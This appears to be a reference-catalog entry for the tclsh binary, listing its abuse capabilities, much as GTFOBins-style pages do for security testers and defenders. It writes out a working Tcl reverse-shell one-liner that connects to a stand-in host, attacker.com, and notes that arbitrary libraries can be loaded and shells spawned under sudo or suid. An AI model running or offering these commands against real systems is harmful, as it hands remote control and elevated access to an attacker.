Tcl scripting language shell; can execute code, read/write files, and spawn shells.
tclsh tclsh Sandbox: execFile · Timeout: 30s
system.library.load security.execution.reverse-shell security.privilege-escalation.shell Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Load arbitrary libraries (sudo, suid, unprivileged)
tclsh
load /path/to/lib.so x Send a reverse shell (sudo, suid, unprivileged)
tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s; Spawn an interactive shell (sudo, suid, unprivileged)
tclsh tclsh is a command-line utility. Tcl scripting language shell; can also load arbitrary libraries, send a reverse shell, spawn an interactive shell.